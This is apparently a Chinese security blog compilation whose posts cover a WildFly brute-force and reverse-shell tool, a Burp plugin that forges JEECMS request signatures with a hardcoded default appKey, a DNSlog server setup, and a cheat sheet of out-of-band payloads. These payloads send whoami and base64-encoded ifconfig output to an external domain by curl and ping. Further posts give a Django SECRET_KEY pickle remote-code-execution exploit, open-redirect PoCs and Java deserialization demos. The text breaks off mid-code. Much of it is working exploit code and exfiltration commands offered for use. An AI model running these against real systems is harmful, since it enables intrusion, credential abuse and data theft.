版本直接有少许差异,找到Deployments选项卡即可。

工具

爆破

python wildPwn.py ‐m brute ‐‐target <TARGET> ‐user <USERNAME LIST> ‐pass <PASSWORD LIST>

wildpwn.png

部署反弹Shell

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

wildpwn (1).png

References

BurpSuite插件:JEECMS签名助手

$
0
0

题外话

18年想提高一下自己的代码审计能力,重点放在Java系和Python系。Java是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。

起因&签名分析

写这个插件的原因是在测试JEECMS后台时,用BurpSuite修改了一个参数的,在返回结果中看到提示了签名错误,如下图:

201801191516329998864170.png

很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。

先修改参数:

20180119110514151633111462067.png

通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。

20180119110527151633112751998.png

签名计算方式:

20180119112150151633211025608.png

现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:

20180119112842151633252277458.png

我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。

20180119113410151633285095854.png

官方Demo站:

20180119113402151633284224809.png

签名插件编写

我们知道了签名校验方式和过程了,现在就知道怎么写这个BurpSuite插件了。

  1. 将请求参数拦截下来
  2. 将参数+appKey进行拼接并做MD5计算
  3. 用新的hash替换参数sign的值
  4. BurpSuite发出请求,成功返回

编写BurpSuite插件Python版本代码如下:

from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
import hashlib
import urllib

print "Hack Jeecms Sign By Nerd."

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):

        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Hack JeeCMS Sign")
        callbacks.registerHttpListener(self)
        self.stdout = PrintWriter(callbacks.getStdout(), True)
        self.stderr = PrintWriter(callbacks.getStderr(), True)
        callbacks.issueAlert("Loaded Successfull.")

    def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):
        if messageIsRequest:

            requestInfo = self._helpers.analyzeRequest(currentRequest)

            self.headers = list(requestInfo.getHeaders())
            hook_host = requestInfo.getUrl().getHost()

            bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
            self.body = self._helpers.bytesToString(bodyBytes)

            o,n = self.update_sign(urllib.unquote(self.body))
            self.body = self.body.replace(o,n)
            print self.body
            newMessage = self._helpers.buildHttpMessage(self.headers, self.body)
            currentRequest.setRequest(newMessage)

        # Process responses
        else:
            pass

    def update_sign(slef, body=""):
        try:
            old_sign = ""
            # defalut appKey
            appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"
            #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"

            hash_param = ""
            param_list = body.split("&")

            temp_dict = {}
            for pa in param_list:
                t = pa.split("=")
                temp_dict[t[0]] = t[1]

            tmmmm = temp_dict.items()

            tmmmm.sort()
            for (k, v) in tmmmm:
                if k == "sign":
                    old_sign = v
                    print "old sign = ",v
                    continue
                hash_param += "%s=%s&" % (k, v)

            hash_param += "key=" + appKey
            sign = hashlib.md5(hash_param).hexdigest()
            print "new sign = ",sign.upper()
            return old_sign,sign.upper()
        except Exception, e:
            print e
            return "",""

效果

模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误

201801191516339127197513.png

加载插件以后:

201801191516339413839646.png

加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。

代码GitHub地址

HackSign.py

DnsLog的改造和自动化调用

$
0
0

0x01 DNSlog的改造

一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:

http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token

http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录

http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录

改造后的项目地址:https://github.com/bit4woo/DNSLog

0x02 本地接口类

服务端OK了之后,为了在PoC中快速调用,也在本地实现了一个类:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import hashlib
import time
import requests
import json

class DNSlog():
    def __init__(self,subdomain=None):
        if subdomain == None:
            self.subdomain = hashlib.md5(time.time()).hexdigest()
        else:
            self.subdomain = subdomain
        self.user_host = "test.code2sec.com"
        #self.user_host = "127.0.0.1:8000"
        self.api_host = "admin.code2sec.com"
        #self.api_host = "127.0.0.1:8000"
        self.token = ""
        self.username= "test"
        self.password = "123456"
        self.login()

    def gen_payload_domain(self):
        domain = "{0}.{1}".format(self.subdomain, self.user_host)
        return domain

    def gen_payload(self):
        domain ="{0}.{1}".format(self.subdomain,self.user_host)
        poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
        return poc

    def login(self,username=None,password=None):
        if username == None:
            username = self.username
        if password == None:
            password = self.password
        url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
        print("DNSlog Login: {0}".format(url))
        response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
        if response.status_code ==200:
            token = json.loads(response.content)["token"]
            self.token = token
            return True
        else:
            print("DNSlog login failed!")
            return False

    def query(self,subdomain,type="dns",token=None,delay=2):
        time.sleep(delay)
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
        print("DNSlog Query: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False

    def delete(self, subdomain,type="dns", token =None):
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
        print("DNSlog Delete: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False


if __name__ == "__main__":
    x = DNSlog("xxxx")
    x.login("test","123456")
    x.query("dns","123",x.token)
    x.delete("dns","123",x.token)

调用流程:

  1. 首先实例化DNSlog类,如果有传入一个字符串,这个字符串将被当作子域名,如果没有将生成一个随机的
  2. 调用gen_payload_domain()或者gen_payload()来返回域名或者"ping -n 3 {0} || ping
    -c 3 {1}"格式的payload
  3. 调用login()接口实现登陆,然后获取token,如果有传入账号和密码,将使用传入的,否则使用默认的
  4. 在使用生成的域名或者payload进行检测之前,建议先调用delete()来清除域名相关记录,避免误报
  5. PoC中使用payload进行请求
  6. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。

0x03 使用Docker搭建DnsLog服务器

感谢草粉师傅的帮助

域名和配置

搭建并使用 DNSLog,需要拥有两个域名:

1.一个作为 NS 服务器域名(例:polaris-lab.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):

ns1.polaris-lab.com  A 记录指向  10.11.12.13
ns2.polaris-lab.com  A 记录指向  10.11.12.13

2.一个用于记录域名(例: code2sec.com):修改 code2sec.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):

NS  *.code2sec.com   ns1.polaris-lab.com
NS  *.code2sec.com   ns2.polaris-lab.com

注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。

changeNameServer.png

Docker镜像构造

Dockerfile内容如下:

FROM ubuntu:14.04

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip

COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py

COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]

EXPOSE 80

下载 dnslog/dnslog/settings.py并对如下字段进行对应的修改,保存settings.py:

# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'

# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'

# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'

# 服务器外网地址
SERVER_IP = '10.11.12.13'

创建一个dnslog的启动脚本,保存为start.sh:

#!/bin/bash
python manage.py runserver 0.0.0.0:80

准备好如上3个文件后,可以构建镜像了

docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导

docker exec -it container_ID_or_name /bin/bash
./start.sh

配置验证

使用nslookup命令进行验证,如果可以直接测试xxx.test.code2sec.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.polsris-lab.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。

nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com

当然,在查询的同时可以登录网页端配合查看,是否收到请求。

在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.code2sec.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.polaris-lab.com, 结果就一切正常了。

管理网站

后台地址:http://code2sec.com/admin/ admin admin

用户地址:http://admin.code2sec.com/ test 123456

更多详细问题参考项目:https://github.com/BugScanTeam/DNSLog

记得修改默认的账号密码!

0x04 Payload使用技巧

||兼容windows和linux

ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。

使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com

命令优先执行

%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai` 
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边

测试效果如下:
root@ubuntu:~# echo `whoami`@bit4
root@bit4

E:\>echo %OS%@bit4
Windows_NT@bit4

使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址

command_first.png

消除空格

id|base64

使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0` 
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来

base64.png

window下的curl

start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口

常用Payload汇总

#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com

#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com

C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"

#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com

#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`

Django的Secret Key泄漏导致的命令执行实践

$
0
0

0x01 Secret Key的用途和泄漏导致的攻击面

Secret Key主要用于加密、签名,下面是官方文档的说明:

The secret key is used for:

  • All sessions if you are using any other session backend thandjango.contrib.sessions.backends.cache, or are using thedefaultget_session_auth_hash().
  • All messages if you are using CookieStorage orFallbackStorage.
  • All PasswordResetView tokens.
  • Any usage of cryptographic signing, unless a different key is provided.

Secret Key泄漏可能的攻击面:

  • 远程代码执行,如果使用了cookie-based sessions。当然其他可以操作session_data的问题都可能导致
  • 任意密码重置,contrib.auth.token.
  • CSRF
  • ...

我们主要关注远程代码执行这个点。

0x02 Django Session的几种方式

  • 数据库(database-backed sessions)

如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是session_key,服务端会根据这个session_key来查询数据库,从而获取到session_data。就是说session_data是存在服务端的。

cooke_session.png

  • 缓存(cached sessions)
  • 文件系统(file-based sessions)
  • Cookie(cookie-based sessions)

当Django使用了这种方式的时候,和其它几种方式不同的是,它将session_data也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改session_data。这也是我们将要讨论的重点。

0x03 环境准备

关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得session_data之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作session_data,就有可能导致代码执行。

而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:

  1. 使用了cookie-based sessions
  2. 使用了serializers.PickleSerializer

注:Django1.5级以下,session默认是采用pickle执行序列号操作django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer

Djgano测试环境部署:

#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py startapp testapp

#在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件!
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
#因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。

urls.py的内容如下:

from django.conf.urls import url
from django.contrib import admin
from testapp import views

urlpatterns = [
    url(r'.*$', views.index),
    url(r'^admin/', admin.site.urls),
]

views.py中的内容如下:

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.
def index(request):
    x= request.session
    print x.values
    print dir(x)
    print x.serializer
    print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列
    return HttpResponse(x)

注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。

以上就完成了环境的准备,运行python manage.py runserver启动服务。

0x04 PoC及验证

关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造

poc.py的内容如下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers,proxies = proxy)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
    exp(url,SECRET_KEY,command)

运行poc.py时,后台的输出结果:

success.png

print x['userid']对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。

PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用signing.dumps,也可单独使用pickle.dumps然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。

本文环境和代码的下载地址:

0x05 参考

Python http.server和web.py的URL跳转漏洞实践

$
0
0

0x01 前言

看了Phithon的文章,分析了2个Python的web服务器中的URL跳转漏洞,自己也尝试跟着思路理一理。

0x02 函数的本意

这个函数的本意是:

判断当前请求的url中的path(也就是本例中的“email”)是不是一个存在的路径,如果是则通过301重定向到

email/ 这是其他web服务器都具有的一个正常操作。

http://127.0.0.1:8000/email

会自动跳转到

http://127.0.0.1:8000/email/

可以通过浏览器正常访问试一试,正常的web服务器都会这样跳转。

正常的请求.png

通过断点调试看到的信息(关于调试给SimpleHTTPServer.py下断点,方法和给自己的代码下断点一样,因为它里面直接有一个测试函数,可以直接运行SimpleHTTPServer.py来启动一个web服务器):

本来的功能.png

0x03 单斜杠和双斜杠对于ulrparse.urlsplit()

从phithon的文章中可以看出,要实现URL的跳转的一个关键是浏览器把双斜杠后面的内容当作域名。

我们在BurpSuite中试试,发现能通过可以构造出带双斜杠的Location返回(如下图)。

双斜杠的差异.png

继续在代码中加断点中看看,可以看出,当请求的url是单斜杠时(如上图下半部分),email是被认为是path,当是双斜杠时却被认为是netloc。个人认为这是http.server和其他web服务器所不同的地方(比如nginx,自己试过,访问http://www.polaris-lab.com/img 和访问http://www.polaris-lab.com//img 的结果都是一样的,说明这2个请求中,img都被认为是path)。

yyy.png

可以看出,关键是urlparse.urlsplit()函数导致的。

urlsplit.png

再验证一下上面提到的nginx中是否可以构造出带双斜杠的Location。结果表明不行,所以,这个漏洞之所以成立的一个前提条件就是:使用了urlparse.urlsplit()来解析path导致可以构造出双斜杠的Location返回,否则这个漏洞将不成立。(所以修复方案是否可以朝着这个思路来?)

nginx.png

0x04 为什么需要%2f..

如果是:

http://127.0.0.1:8000//example.com//..

最后的/..将被浏览器处理,根本发送不到服务器端,发送到服务端的请求将是(可以抓包验证一下),

http://127.0.0.1:8000//example.com/

想要发送到服务器端,就必须对/进行URL编码,即:

http://127.0.0.1:8000//example.com/%2f..

而到了服务器端,这个//example.com/%2f..将被translate_path()函数处理,会先进行url解码然后转换为系统路径

translatepath.png

解码后的内容为//example.com//..也就是当前路径了。

translatepath1.png

0x05 PoC脚本

以上基本理清了PoC中的一些关键点,附上自动化检测脚本,可直接用于POC-T。

http.server open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
paylaod: http://127.0.0.1:8000//example.com/%2f%2e%2e
测试状态:成功
'''

import requests
import urlparse
import sys

def poc(url):
    x = urlparse.urlparse(url)
    target = "{0}://{1}".format(x.scheme,x.netloc)

    payload = "{0}//example.com/%2f%2e%2e".format(target)

    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

web.py open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
漏洞名称:Struts2漏洞S2-045
实验环境:VulApps/s/struts2/s2-045
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
测试状态:
'''

import requests
import urlparse
import sys
import urllib

'''
payload: http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
说明:根据p神的文章,是只有处理静态文件的代码是继承了SimpleHTTPRequestHandler类,才会受到影响
所以,这里的提供的url,最好是静态文件的url,比如 js、css、图片的完整url。
'''


'''
#
import web

urls = (
    '/(.*)', 'hello'
)
app = web.application(urls, globals())

class hello:
    def GET(self, name):
        if not name:
            name = 'World'
        return 'Hello, ' + name + '!'

if __name__ == "__main__":
    app.run()
'''


def poc(url):
    print("you should provide a static resoure url, like js|css|image")
    x = urlparse.urlparse(url)
    path_list = x.path.split("/")
    path_list.pop()
    path_list.remove("")
    path_list.append("")# list是有序的
    path= "%2f".join(path_list)
    #path = urllib.quote(path)
    #print(path)
    target = "{0}://{1}".format(x.scheme,x.netloc)
    #http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
    payload = "{0}////{1}@www.example.com/..%2f".format(target,path)
    print(payload)
    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

0x06 参考


Java反序列化漏洞学习实践一:从Serializbale接口开始,先弹个计算器

$
0
0

0x01 基本概念

  • 什么是序列化和反序列化

Serialization(序列化)是指把Java对象保存为二进制字节码的过程;反序列化deserialization是把二进制码重新转换成Java对象的过程。

  • 什么情况下需要序列化

a.当你想把的内存中的对象保存到一个文件中或者数据库中时候;

b.当你想用套接字在网络上传送对象的时候;

c.当你想通过RMI传输对象的时候;

总之,序列化的用途就是传递和存储。

  • 如何实现序列化

将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。

序列化与反序列化都可以理解为“写”和“读”操作 ,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。

/**

 * 写入对象内容

 */

private void writeObject(java.io.ObjectOutputStream out)

/**

 * 读取对象内容

 */

private void readObject(java.io.ObjectInputStream in)
  • 一些注意点

当然,并不是一个实现了序列化接口的类的所有字段及属性,都是可以序列化的:

如果该类有父类,则分两种情况来考虑:

1.如果该父类已经实现了可序列化接口,则其父类的相应字段及属性的处理和该类相同;

2.如果该类的父类没有实现可序列化接口,则该类的父类所有的字段属性将不会序列化,并且反序列化时会调用父类的默认构造函数来初始化父类的属性,而子类却不调用默认构造函数,而是直接从流中恢复属性的值。

如果该类的某个属性标识为static类型的,则该属性不能序列化。

如果该类的某个属性采用transient关键字标识,则该属性不能序列化。

a.当一个父类实现序列化,子类自动实现序列化,不需要显式实现Serializable接口;

b.当一个对象的实例变量引用其他对象,序列化该对象时也把引用对象进行序列化;

0x02 简单实例

以下代码是一个简单的实现序列化和反序列化操作的Demo:

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     */
    private static final long serialVersionUID = 1L;

    private int n;  

    public deserTest(int n){ //构造函数,初始化时执行
        this.n=n;
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);//实例一个对象
        operation.ser(x);//序列化
        operation.deser();//反序列化
    }
}

class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

运行结果:

1.png

0x03 自定义反序列化的行为:弹个计算器

自定义序列化和反序列化过程,就是重写writeObjectreadObject方法。

对以上代码进行改造,加入readObject方法的重写,再重写函数中加入自己的代码逻辑。

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest2 implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     * 然后重写readObject方法,实现弹计算器。
     */
    private static final long serialVersionUID = 1L;

    private int n;

    public deserTest2(int n){ //构造函数,初始化时执行
        this.n=n;
    }
    //重写readObject方法,加入了弹计算器的执行代码的内容
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("test");
    }

    public static void main(String[] args) {
        //deserTest2 x = new deserTest2(5);//实例一个对象
        //operation2.ser(x);//序列化
        operation2.deser();//反序列化
    }
}

class operation2 {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

以上代码,先取消main函数中的注释运行一次,以便生成正确的object.obj文件。而后加上注释运行一次,以保证只从object.obj文件中读取内容进行反序列化操作。如果无错误,第二次执行将看到弹计算器。

2.png

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step1

0x04 参考

Java反序列化漏洞学习实践二:Java的反射机制(Java Reflection)

$
0
0

0x00 前言

学习Java的反射机制是为了理解Apache Commons Collections中的反序列化漏洞做准备的。

0x01 基础

Java反射机制

  • 指的是可以于运行时加载,探知和使用编译期间完全未知的类.
  • 程序在运行状态中, 可以动态加载一个只有名称的类, 对于任意一个已经加载的类,都能够知道这个类的所有属性和方法;
    对于任意一个对象,都能调用他的任意一个方法和属性;
  • 加载完类之后, 在堆内存中会产生一个Class类型的对象(一个类只有一个Class对象),
    这个对象包含了完整的类的结构信息,而且这个Class对象就像一面镜子,透过这个镜子看到类的结构,所以被称之为:反射.
  • 每个类被加载进入内存之后,系统就会为该类生成一个对应的java.lang.Class对象,通过该Class对象就可以访问到JVM中的这个类.

Class对象的获取方法

  • 实例对象的getClass()方法;
  • 类的.class(最安全/性能最好)属性;(如Demo代码和下图)
  • 运用Class.forName(String className)动态加载类,className需要是类的全限定名(最常用).
    注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

注意,有一点很有趣,使用功能”.class”来创建Class对象的引用时,不会自动初始化该Class对象,使用forName()会自动初始化该Class对象

1 (1).png

0x02 通过反射方法调用函数

该Demo主要实践主要学习使用反射方法来调用类中的函数。

package Step2;

import java.lang.reflect.Method;

public class reflectionTest {

    public static void main(String[] args){

        Method[] methods = test.class.getMethods();
        //获取类的方法二,有点类似python的getattr()。java中每个类型都有class 属性
        //通过类的class属性获取对应的Class类的对象,通过这个Class类的对象获取test类中的方法集合

        /* String name = test.class.getName();
         * int modifiers = test.class.getModifiers();
         * .....还有很多方法
         * 也就是说,对于一个任意的可以访问到的类,我们都能够通过以上这些方法来知道它的所有的方法和属性;
         * 知道了它的方法和属性,就可以调用这些方法和属性。
         */

        //调用test类中的方法
        for(Method method : methods){
            if(method.getName().equals("int2string")) {
                System.out.println("method = " + method.getName());

                Class[] parameterTypes = method.getParameterTypes();//获取方法的参数
                Class returnType = method.getReturnType();//获取方法的返回类型
                try {
                    //method.invoke(test.class.newInstance(), 666);
                    Object x = method.invoke(new test(1), 666);
                    System.out.println(x);
                    // new关键字能调用任何构造方法。 newInstance()只能调用无参构造方法。
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }

        try {
